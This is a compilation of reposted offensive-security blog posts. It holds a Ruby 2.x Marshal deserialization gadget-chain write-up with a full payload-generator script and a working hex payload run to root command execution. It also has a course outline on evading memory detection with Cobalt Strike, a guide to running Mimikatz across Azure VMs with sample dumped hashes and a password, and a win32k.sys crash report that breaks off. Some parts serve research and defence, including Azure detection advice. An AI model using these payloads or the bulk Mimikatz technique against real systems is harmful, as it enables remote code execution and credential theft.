RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN

( Original text by Luke Jahnke )

INTRODUCTION

This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which detail deserialization issues and related work, discovery of usable gadget chains, and finally exploitation of ruby serialization.

BACKGROUND

Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or be stored on the filesystem or in a database. These bytes include all the relevant information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has it’s own distinct serialization format. Some programming languages refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used.

The Marshal class has the class methods “dump” and “load” which can be used as follows:

Figure-1: Usage of Marshal.dump and Marshal.load
$ irb
>> class Person
>>   attr_accessor :name
>> end
=> nil

>> p = Person.new
=> #<Person:0x00005584ba9af490>

>> p.name = "Luke Jahnke"
=> "Luke Jahnke"

>> p
=> #<Person:0x00005584ba9af490 @name="Luke Jahnke">

>> Marshal.dump(p)
=> "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET"

>> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET")
=> #<Person:0x00005584ba995dd8 @name="Luke Jahnke">

THE PROBLEMS WITH DESERIALIZATION OF UNTRUSTED DATA

A common security vulnerability occurs when a developer incorrectly assumes that an attacker cannot view or tamper with a serialized object as it is an opaque binary format. This can result in any sensitive information stored within the object, such as credentials or application secrets, being disclosed to an attacker. It also frequently results in privilege escalation in the case of the serialized object having instance variables which are subsequently used for permission checks. For example, consider a User object, containing a username instance variable, that is serialized and may be tampered with by an attacker. It is trivial to modify the serialized data and change the username variable to a username of a higher privileged user, such as “admin”. While these attacks can be powerful, they are highly context sensitive as well as being unexciting from a technical point-of-view and are not discussed further in this blog post.

Code reuse attacks are also possible where pieces of already available code, called gadgets, are executed to perform an unwanted action such as executing an arbitrary system command. As deserialization can set instance variables to arbitrary values, this allows an attacker to control some of the data that gadgets operate on. This also allows an attacker to use a gadget to invoke a second gadget, as methods are frequently called on objects stored in instance variables. When a series of gadgets have been linked together in this manner, it is called a gadget chain.

PREVIOUS PAYLOADS

Insecure deserialization is in the eighth spot in the OWASP Top 10 Most Critical Web Application Security Risks for 2017 but limited details have been published on constructing gadget chains for Ruby. However, a good reference can be found in the Phrack paper Attacking Ruby on Rails Applications, where joernchen of Phenoelit describes in section 2.1 a gadget chain discovered by Charlie Somerville that achieves arbitrary code execution. The technique will not be covered again here for brevity, however the pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

So, the gauntlet has been thrown down. Can we remove all of these pre-requisites and still achieve arbitrary code execution?

HUNTING FOR GADGETS

Since we want to craft a gadget chain that has no dependencies, gadgets can only be sourced from the standard library. It should be noted that not all of the standard library is loaded by default. This significantly limits the number of gadgets we have at our disposal. For example, Ruby 2.5.3 was tested and found to have 358 classes loaded by default. While this seems high, on closer inspection it is revealed that 196 of these classes have not defined any of their own instance methods. The majority of these empty classes are uniquely named descendants of the Exception class used to differentiate catchable exceptions.

The limited number of available classes means it is incredibly beneficial to find gadgets or techniques that increase the amount of standard library that is loaded. One technique is to look for gadgets that when invoked will require another library. This is useful as even though the require may appear to be in the scope of a certain module and/or class, it will in fact pollute the global namespace.

Figure-2: An example of a method calling require (lib/rubygems.rb)
module Gem
...
  def self.deflate(data)
    require 'zlib'
    Zlib::Deflate.deflate data
  end
...
end

If the above Gem.deflate method was included in a gadget chain, the Zlib library from Ruby’s standard library would be loaded, as demonstrated below:

Figure-3: Demonstration of the global namespace being polluted
$ irb
>> Zlib
NameError: uninitialized constant Zlib
...

>> Gem.deflate("")
=> "x\x9C\x03\x00\x00\x00\x00\x01"

>> Zlib
=> Zlib

While numerous examples exist of the standard library dynamically loading other parts of the standard library, one instance was identified that attempts to load a third-party library if it has been installed on the system, as shown below:

Figure-4: SortedSet from the standard library loading the third-party RBTree library (lib/set.rb)
...
class SortedSet < Set
...
  class << self
...
    def setup
...
          require 'rbtree'

The following figure shows a sample of the extensive locations that will be searched when requiring a library that is not installed, including other library directories:

Figure-5: A sample of the output from strace when Ruby attempts to load RBTree on a default system without RBTree installed
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl
     1	[pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     2	[pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     3	[pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
   129	[pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   130	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   131	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   132	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   133	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   134	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   135	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   136	[pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
...

A more useful gadget would be one which passes an attacker controlled argument to require. This gadget would enable loading of arbitrary files on the filesystem, thus providing the use of any gadgets in the standard library, including the ERBgadget used in Charlie Somerville’s gadget chain. Although no gadgets were identified that allow complete control of the require argument, an example of a gadget that allows partial control can be seen below:

Figure-6: A gadget allowing partial control of the require argument (ext/digest/lib/digest.rb)
module Digest
  def self.const_missing(name) # :nodoc:
    case name
    when :SHA256, :SHA384, :SHA512
      lib = 'digest/sha2.so'
    else
      lib = File.join('digest', name.to_s.downcase)
    end

    begin
      require lib
...

The above example was unable to be utilised as const_missing is never called explicitly by any Ruby code in the standard library. This is unsurprising as const_missing is a hook method that, when defined, will be invoked when a reference is made to an undefined constant. A gadget such as @object.__send__(@method, @argument), which allows calling an arbitrary method on an arbitrary object with an arbitrary argument, would evidently allow calling the above const_missing method. However, if we already had such a powerful gadget, we would no longer need to increase the set of available gadgets as it alone allows executing arbitrary system commands.

The const_missing method can also be invoked as a result of a calling const_get. The digest method of the Gem::Packageclass defined in the file lib/rubygems/package.rb is a suitable gadget as it calls const_get on the Digest module (although any context will also work) with control of the argument. However, the default implementation of const_get performs strict validation of the character set which prevents traversal outside the digest directory.

Another way of invoking const_missing is implicitly with code such as Digest::SOME_CONSTANT. However, Marshal.load does not perform constant resolution in such a way that will invoke const_missing. More details can be found in Ruby issue 3511 and 12731.

Another example gadget which also provides partial control of the argument passed to require is shown below:

Figure-7: Calling the [] method with an argument results in that argument being included in the argument to require(lib/rubygems/command_manager.rb)
class Gem::CommandManager
  def [](command_name)
    command_name = command_name.intern
    return nil if @commands[command_name].nil?
    @commands[command_name] ||= load_and_instantiate(command_name)
  end

  private

  def load_and_instantiate(command_name)
    command_name = command_name.to_s
...
        require "rubygems/commands/#{command_name}_command"
...
    end
  end
...

The above example was also not utilised due to the “_command” suffix and no technique being identified that allowed truncation (i.e. using null bytes). A number of files do exist with the “_command” suffix but these were not explored further as a different technique was found to increase the set of available gadgets. However, an interested researcher may find it interesting to investigate when exploring this topic.

As shown below, the Rubygem library makes extensive use of the autoload method:

Figure-8: A number of calls to the autoload method (lib/rubygems.rb)
module Gem
...
  autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder'
  autoload :ConfigFile,         'rubygems/config_file'
  autoload :Dependency,         'rubygems/dependency'
  autoload :DependencyList,     'rubygems/dependency_list'
  autoload :DependencyResolver, 'rubygems/resolver'
  autoload :Installer,          'rubygems/installer'
  autoload :Licenses,           'rubygems/util/licenses'
  autoload :PathSupport,        'rubygems/path_support'
  autoload :Platform,           'rubygems/platform'
  autoload :RequestSet,         'rubygems/request_set'
  autoload :Requirement,        'rubygems/requirement'
  autoload :Resolver,           'rubygems/resolver'
  autoload :Source,             'rubygems/source'
  autoload :SourceList,         'rubygems/source_list'
  autoload :SpecFetcher,        'rubygems/spec_fetcher'
  autoload :Specification,      'rubygems/specification'
  autoload :Util,               'rubygems/util'
  autoload :Version,            'rubygems/version'
...
end

autoload works in a similar way to require, but only loads the specified file when a registered constant is accessed for the first time. Due to this behaviour, if any of these constants are included in a deserialization payload the corresponding file will be loaded. These files themselves also contain require and autoload statements further increasing the number of files that could provide useful gadgets.

Although autoload is not expected to remain in the future release of Ruby 3.0, the use in the standard library has recently increased with the release of Ruby 2.5. New code using autoload was introduced in this git commit and can be seen in the following code snippet:

Figure-9: New usage of autoload introduced in Ruby 2.5 (lib/uri/generic.rb)
require 'uri/common'
autoload :IPSocket, 'socket'
autoload :IPAddr, 'ipaddr'

module URI
...

To assist in exploring this extended set of available gadgets in the standard library, we can load every file registered with autoload with the following code:

Figure-10: Bruteforcing constant resolution on every object with every symbol
ObjectSpace.each_object do |clazz|
  if clazz.respond_to? :const_get
    Symbol.all_symbols.each do |sym|
      begin
        clazz.const_get(sym)
      rescue NameError
      rescue LoadError
      end
    end
  end
end

After running the above code we take a new measurement of how many classes are available for providing gadgets, and find 959 classes loaded, an increase of 658 from the earlier value of 358. Of these classes, 511 have defined at least one instance method. The ability to load these additional classes provides significantly improved conditions to begin our search for useful gadgets.

INITIAL/KICK-OFF GADGETS

The start of every gadget chain needs a gadget that will be invoked automatically during or after deserialization. This is the initial entrypoint to execute further gadgets with the ultimate goal of achieving arbitrary code execution or other attacks.

An ideal initial gadget would be one that is automatically invoked by Marshal.load during deserialization. This removes any opportunity for code executed after deserialization to defensively inspect and protect against a malicious object. We suspect it may be possible to automatically invoke a gadget during deserialization as it is a feature in other programming languages such as PHP. In PHP, if a class has the magic method __wakeup defined it will be immediately invoked when deserializing an object of this type. Reading the relevant Ruby documentation reveals that if a class has an instance method marshal_load defined then this method will be invoked upon deserialization of an object of this class.

Using this information we examine every loaded class and check if they have a marshal_load instance method. This was achieved programatically with the following code:

Figure-11: Ruby script to find all classes with marshal_load defined
ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

SURPLUS GADGETS

There were numerous gadgets discovered during the research, however only a small selection was used in the final gadget chain. For brevity of this blog post, a few interesting ones are summarised below:

Figure-12: Combined with a gadget chain that calls the cache method, this gadget allows arbitrary code execution (lib/rubygems/source/git.rb)
class Gem::Source::Git < Gem::Source
...
  def cache # :nodoc:
...
      system @git, 'clone', '--quiet', '--bare', '--no-hardlinks',
             @repository, repo_cache_dir
...
  end
...
Figure-13: This gadget can be used to have to_s return something other than an expected String object (lib/rubygems/security/policy.rb)
class Gem::Security::Policy
...
  attr_reader :name
...
  alias to_s name # :nodoc:

end
Figure-14: This gadget can be used to have to_i return something other than an expected Integer object (lib/ipaddr.rb)
class IPAddr
...
  def to_i
    return @addr
  end
...
Figure-15: This code generates a gadget chain that when deserialized enters an infinite loop
module Gem
  class List
    attr_accessor :value, :tail
  end
end

$x = Gem::List.new
$x.value = :@elttam
$x.tail = $x

class SimpleDelegator
  def marshal_dump
    [
      :__v2__,
      $x,
      [],
      nil
    ]
  end
end

ace = SimpleDelegator.new(nil)

puts Marshal.dump(ace).inspect

BUILDING THE GADGET CHAIN

The first step in creating the gadget chain is to build a pool of candidate marshal_load initial gadgets and ensure they call methods on objects we supply. This is very likely to contain every initial gadget as “everything is an object” in Ruby. We can reduce the pool by reviewing the implementations and keeping any that call a common method name on an object we control. Ideally the common method name should have many distinct implementations to choose from.

For my gadget chain I settled on the Gem::Requirement class whose implementation is shown below and grants the ability to call the each method on an arbitrary object:

Figure-16: Gem::Requirement partial source code (lib/rubygems/requirement.rb) — see inline comments
class Gem::Requirement
  # 1) we have complete control over array
  def marshal_load(array)
    # 2) so we can set @requirements to an object of our choosing
    @requirements = array[0]

    fix_syck_default_key_in_requirements
  end

  # 3) this method is invoked by marshal_load
  def fix_syck_default_key_in_requirements
    Gem.load_yaml

    # 4) we can call .each on any object
    @requirements.each do |r|
      if r[0].kind_of? Gem::SyckDefaultKey
        r[0] = "="
      end
    end
  end

end

Now with the ability to call the each method we require a useful implementation of each to get us closer to arbitrary command execution. After reviewing the source code for Gem::DependencyList (and the mixin Tsort) it was found that a call to it’s eachinstance method will result in the sort method being called on it’s @specs instance variable. The exact path taken to reach the sort method call is not included here, but the behavior can be verified with the following command which uses Ruby’s stdlib Tracer class to output a source level execution trace:

Figure-17: Verifying Gem::DependencyList#each results in @specs.sort
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort'
#0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs = @specs.sort.reverse

With this new ability to call the sort method on an array of arbitrary objects, we leverage it to call the <=> method (spaceship operator) on an arbitrary object. This is useful as Gem::Source::SpecificFile has an implementation of the <=> method that when invoked can result in the name method being invoked on it’s @spec instance variable, as shown below:

Figure-18: Gem::Source::SpecificFile partial source code (lib/rubygems/source/specific_file.rb)
class Gem::Source::SpecificFile < Gem::Source
  def <=> other
    case other
    when Gem::Source::SpecificFile then
      return nil if @spec.name != other.spec.name # [1]

      @spec.version <=> other.spec.version
    else
      super
    end
  end

end

The ability to call the name method on an arbitrary object is the final piece of the puzzle as Gem::StubSpecification has a namemethod which calls its data method. The data method then calls the open method, which is actually Kernel.open, with it’s instance variable @loaded_from as the first argument, as shown below:

Figure-19: Partial source code of Gem::BasicSpecification (lib/rubygems/basic_specification.rb) and Gem::StubSpecification(lib/rubygems/stub_specification.rb)
class Gem::BasicSpecification
  attr_writer :base_dir # :nodoc:
  attr_writer :extension_dir # :nodoc:
  attr_writer :ignored # :nodoc:
  attr_accessor :loaded_from
  attr_writer :full_gem_path # :nodoc:
...
end

class Gem::StubSpecification < Gem::BasicSpecification

  def name
    data.name
  end

  private def data
    unless @data
      begin
        saved_lineno = $.

        # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.
        open loaded_from, OPEN_MODE do |file|
...

Kernel.open can be used to execute arbitrary commands when the first character of the first argument is a pipe character (“|”) as outlined in the relevant documentation. It will be interesting to see if the TODO comment directly above the open is resolved soon.

GENERATING THE PAYLOAD

The following script was developed to generate and test the previously described gadget chain:

Figure-20: Script to generate and verify the deserialization gadget chain
#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

The following Bash one-liner verifies the payload successfully executes against an empty Ruby process, showing versions 2.0 to 2.5 are affected:

Figure-21: Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)

CONCLUSION

This post has explored and released a universal gadget chain that achieves command execution in Ruby versions 2.0 to 2.5.

As this post has illustrated, intricate knowldge of the Ruby standard library is incredibly useful in constructing deserialization gadget chains. There is a lot of opportunity for future work including having the technique cover Ruby versions 1.8 and 1.9 as well as covering instances where the Ruby process is invoked with the command line argument --disable-all. Alternate Ruby implementations such as JRuby and Rubinius could also be investigated.

There has been some research into Fuzzing Ruby C extensions and Breaking Ruby’s Unmarshal with AFL-Fuzz. After finishing this investigation there appears to be ample opportunity for further research, including manual code review, of the native code implementations of the marshal_load methods shown below:

Figure-22: Instances of marshal_load implemented in C
complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);
iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);
random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);
rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);
time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);
ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);

 

Реклама

In-Memory Evasion

( Original text by Raphael Mudge )

Many analysts and automated solutions take advantage of various memory detections to find injected DLLs in memory. Memory detections look at the properties (and content) of processes, threads, and memory to find indicators of malicious activity in the current process.

In-memory Evasion is a four-part mini course on the cat and mouse game related to memory detections. This course is for red teams that want to update their tradecraft in this area. It’s also for blue teams that want to understand the red perspective on these techniques. Why do they work in some situations? How is it possible to work around these heuristics in other cases?

Part 1 of In-memory Evasion introduces Memory Detections. This lecture walks through the observable properties of Processes, Threads, and Memory with Process Hacker. Common heuristics, the in-memory indicators we want to evade, are covered too.

Part 2 of In-memory Evasion goes through A Payload’s Life. This lecture discusses the heuristics in Part 1 and where they interact with actions taken by a representative offense platform (in this case, Cobalt Strike). This lecture makes the case that offense toolsets do strange things, but in some cases, these deviations from normal program behavior are optional.

Part 3 of this course discusses Evasion. General tips to avoid the strange behavior these detections find are discussed. This lecture then gets into the meat: options to configure how Cobalt Strike’s Beacon payload lives in memory are explained and demonstrated. This lecture also shows how to conduct an OPSEC review of your configuration prior to action on a target. Finally, this lecture concludes with a discussion on process context and how it influences the amount of suspect actions/indicators an automated solution will allow.

Part 4 concludes the course with a brief discussion of Threat Emulation. Cobalt Strike’s flexibility in this area is demonstrated to steer an analyst to believe they’re dealing with a specific real-world actor in a simulated incident.

Part 5 is an April 2018 addendum to this course. This video covers the memory-related threat emulation and evasion features in Cobalt Strike 3.11.

I’m a big believer that red teams should know the defenses they work with and know how their tools interact with these defenses. The area of memory detections has developed considerably over the past several years. Whether you’re on the red or blue side, I hope you find this perspective helpful.

Running PowerShell on Azure VMs at Scale

( Original text by Karl Fosaaen )

Let’s assume that you’re on a penetration test, where the Azure infrastructure is in scope (as it should be), and you have access to a domain account that happens to have “Contributor” rights on an Azure subscription. Contributor rights are typically harder to get, but we do see them frequently given out to developers, and if you’re lucky, an overly friendly admin may have added the domain users group as contributors for a subscription. Alternatively, we can assume that we started with a lesser privileged user and escalated up to the contributor account.

At this point, we could try to gather available credentialsdump configuration data, and attempt to further our access into other accounts (Owners/Domain Admins) in the subscription. For the purpose of this post, let’s assume that we’ve exhausted the read-only options and we’re still stuck with a somewhat privileged user that doesn’t allow us to pivot to other subscriptions (or the internal domain). At this point we may want to go after the virtual machines.

Attacking VMs

When attacking VMs, we could do some impactful testing and start pulling down snapshots of VHD files, but that’s noisy and nobody wants to download 100+ GB disk images. Since we like to tread lightly and work with the tools we have, let’s try for command execution on the VMs. In this example environment, let’s assume that none of the VMs are publicly exposed and you don’t want to open any firewall ports to allow for RDP or other remote management protocols.

Even without remote management protocols, there’s a couple of different ways that we can accomplish code execution in this Azure environment. You could run commands on Azure VMs using Azure Automation, but for this post we will be focusing on the Invoke-AzureRmVMRunCommand function (part of the AzureRM module).

This handy command will allow anyone with “Contributor” rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System. That’s right… VM command execution as System.

Running Individual Commands

You will want to run this command from an AzureRM session in PowerShell, that is authenticated with a Contributor account. You can authenticate to Azure with the Login-AzureRmAccount command.

Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

Let’s breakdown the parameters:

  • ResourceGroupName – The Resource Group for the VM
  • VMName – The name of the VM
  • CommandId – The stored type of command to run through Azure.
    • “RunPowerShellScript” allows us to upload and run a PowerShell script, and we will just be using that CommandId for this blog.
  • ScriptPath – This is the path to your PowerShell PS1 file that you want to run

You can get both the VMName and ResourceGroupName by using the Get-AzureRmVM command. To make it easier for filtering, use this command:

PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name

ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test

In this example, we’ve added an extra line (Invoke-Mimikatz) to the end of the Invoke-Mimikatz.ps1 file to run the function after it’s been imported. Here is a sample run of the Invoke-Mimikatz.ps1 script on the VM (where no real accounts were logged in, ).

PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Value[0]        : 
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       :   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28) .## ^ ##.  
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */
 
mimikatz(powershell) # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : NetSPI-Test
Domain            : WORKGROUP
SID               : S-1-5-20         
        msv :
         [00000003] Primary
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * Password : waza1234/ 
mimikatz(powershell) # exit 
Bye!   
Value[1] : Code : ComponentStatus/StdErr/succeeded 
Level : Info 
DisplayStatus : Provisioning succeeded 
Message : 
Status : Succeeded 
Capacity : 0 
Count : 0

This is handy for running your favorite PS scripts on a couple of VMs (one at a time), but what if we want to scale this to an entire subscription?

Running Multiple Commands

I’ve added the Invoke-AzureRmVMBulkCMD function to MicroBurst to allow for execution of scripts against multiple VMs in a subscription. With this function, we can run commands against an entire subscription, a specific Resource Group, or just a list of individual hosts.

You can find MicroBurst here – https://github.com/NetSPI/MicroBurst

For our demo, we’ll run Mimikatz against all (5) of the VMs in my test subscription and write the output from the script to a log file.

Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Executing Mimikatz.ps1 against all (5) VMs in the TestingResources Subscription
Are you Sure You Want To Proceed: (Y/n):
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) virtual machine (1 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EastUS2 - (10.2.10.4 : 52.179.214.3)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EAsia - (10.2.9.4 : 65.52.161.96) virtual machine (2 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EAsia - (10.2.9.4 : 65.52.161.96)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanE - (10.2.12.4 : 13.78.40.185) virtual machine (3 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanE - (10.2.12.4 : 13.78.40.185)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanW - (10.2.13.4 : 40.74.66.153) virtual machine (4 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanW - (10.2.13.4 : 40.74.66.153)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-France - (10.2.11.4 : 40.89.130.206) virtual machine (5 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-France - (10.2.11.4 : 40.89.130.206)
VERBOSE: Script Execution Completed in 98 seconds

The GIF above has been sped up for demo purposes, but the total time to run Mimikatz on the 5 VMs in this subscription was 7 Minutes and 14 seconds. It’s not ideal (see below), but it’s functional. I haven’t taken the time to multi-thread this yet, but if anyone would like to help, feel free to send in a pull request here.

Other Ideas

For the purposes of this demo, we just ran Mimikatz on all of the VMs. That’s nice, but it may not always be your best choice. Additional PowerShell options that you may want to consider:

  • Spawning Cobalt Strike, Empire, or Metasploit sessions
  • Searching for Sensitive Files
  • Run domain information gathering scripts on one VM and use the output to target other specific VMs for code execution

Performance Issues

As a friendly reminder, this was all done in a demo environment. If you choose to make use of this in the real world, keep this in mind: Not all Azure regions or VM images will respond the same way. I have found that some regions and VMs are better suited for running these commands. I have run into issues (stalling, failing to execute) with non-US Azure regions and the usage of these commands.

Your mileage may vary, but for the most part, I have had luck with the US regions and standard Windows Server 2012 images. In my testing, the Invoke-Mimikatz.ps1 script would usually take around 30-60 seconds to run. Keep in mind that the script has to be uploaded to the VM for each round of execution, and some of your VMs may be underpowered.

Mitigations and Detection

For the defenders that are reading this, please be careful with your Owner and Contributor rights. If you have one take away from the post, let it be this – Contributor rights means SYSTEM rights on all the VMs.

If you want to cut down your contributor’s rights to execute these commands, create a new role for your contributors and limit the Microsoft.Compute/virtualMachines/runCommand/action permissions for your users.

Additionally, if you want to detect this, keep an eye out for the “Run Command on Virtual Machine” log entries. It’s easy to set up alerts for this, and unless the Invoke-AzureRmVMRunCommand is an integral part of your VM management process, it should be easy to detect when someone is using this command.

The following alert logic will let you know when anyone tries to use this command (Success or Failure). You can also extend the scope of this alert to All VMs in a subscription.

As always, if you have any issues, comments, or improvements for this script, feel free to reach out via the MicroBurst Github page.

Microsoft Windows win32k.sys — Invalid Pointer Vulnerability (MSRC Case 48212)

( Original text by Nafiez )

Overview

There’s a kernel unhandled exception happened in GDI function NtUserGetDCEx and turn the OS to BSOD during boot-time. To trigger the issue it is required to have Administrator privilege to create AppInit_DLL registry key and a simple DLL that can pop a message box. In this case, we installed Anti-Virus called BullGuard (https://www.bullguard.com) in Windows 7 64-bit system with the registry AppInit_DLL and its DLL created. After installation, upon winlogon.exe taking place, a BSOD happened. We suspect the DLL mapped itself to winlogon.exe and this making the Windows itself prone to failed to dereference pointer in kernel thus making it BSOD. We believe this happened when BullGuard AV itself is vulnerable to AppInit_DLL technique and allowed to load the DLL during process start at winlogon.exe. It seems win32k.sys driver lacked of pointer checking during boot-time process.

The issue has been reported to Microsoft (MSRC Case 48212) and the confirmed the finding are valid. Howevever the issue does not meet their service bar (which is required Administrator privilege to perform changes on the registry).

It turns out that not only me to found the issue, omeg posted in OpenRCE forum regarding his finding too (http://www.openrce.org/blog/view/966/Null_pointer_dereference_in_win32k).

Crash Analysis

Initial analysis found the root cause was coming from win32k!NtUserGetDCEx+b7.

BugCheck 3B, {c0000005, fffff9600016126f, fffff880045ceae0, 0}

